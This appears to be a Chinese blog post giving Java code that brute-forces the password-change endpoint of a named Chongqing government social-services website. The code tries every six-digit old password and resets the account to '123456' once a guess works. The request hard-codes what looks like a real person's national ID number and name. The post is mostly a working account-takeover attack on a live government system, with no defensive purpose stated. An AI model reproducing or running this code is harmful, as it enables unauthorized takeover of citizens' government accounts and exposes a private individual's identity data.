登录：http://ggfw.cqhrss.gov.cn/ggfw/index1.jsp

F12获取修改密码路径：http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do

 

一、新建实体接受 返回对象

package com.ycgwl;public class rel {    private String code;    private String message;    public String getCode() {        return code;    }    public void setCode(String code) {        this.code = code;    }    public String getMessage() {        return message;    }    public void setMessage(String message) {        this.message = message;    }    }

package com.ycgwl;import java.io.IOException;import java.io.InputStream;import java.io.OutputStreamWriter;import java.net.HttpURLConnection;import java.net.URL;import com.alibaba.fastjson.JSON;public class Bean {    public static void main(String[] args) {        String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";        String urlpara = "bh=500102199210245995&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";        for(int i=465;i<1000000;i++) {            String pwdd = getPwdString(i);            if(pwdd.equals("")) {                System.out.println("获取密码出错");                System.exit(0);            }            String result = Post(url,urlpara.replace("pwd", pwdd));            while("IOException".equals(result)) {                result = Post(url,urlpara.replace("pwd", pwdd));            }            System.out.println(i+"``````````````````"+result);            rel rel = JSON.parseObject(result, rel.class);            if(!rel.getCode().equals("0")) {                System.out.println("设置成功");                System.exit(0);            }        }    }        public static String Post(String strURL, String params) {          try {              URL url = new URL(strURL);// 创建连接              HttpURLConnection connection = (HttpURLConnection) url.openConnection();            connection.setDoOutput(true);              connection.setDoInput(true);              connection.setUseCaches(false);              connection.setInstanceFollowRedirects(true);              connection.setRequestMethod("POST"); // 设置请求方式              connection.setReadTimeout(100);            connection.connect();              OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码              out.append(params);              out.flush();              out.close();              InputStream is = connection.getInputStream();             byte[] temp = new byte[connection.getContentLength()];              is.read(temp);            String result = new String(temp, "UTF-8"); // utf-8编码              return result;          } catch (IOException e) {              return "IOException";        }    }        public static String getPwdString(int index) {        int length = String.valueOf(index).length();        switch (length) {            case 1:                return "00000"+index;            case 2:                return "0000"+index;            case 3:                return "000"+index;            case 4:                return "00"+index;            case 5:                return "0"+index;            case 6:                return ""+index;            default:                return "";        }    }}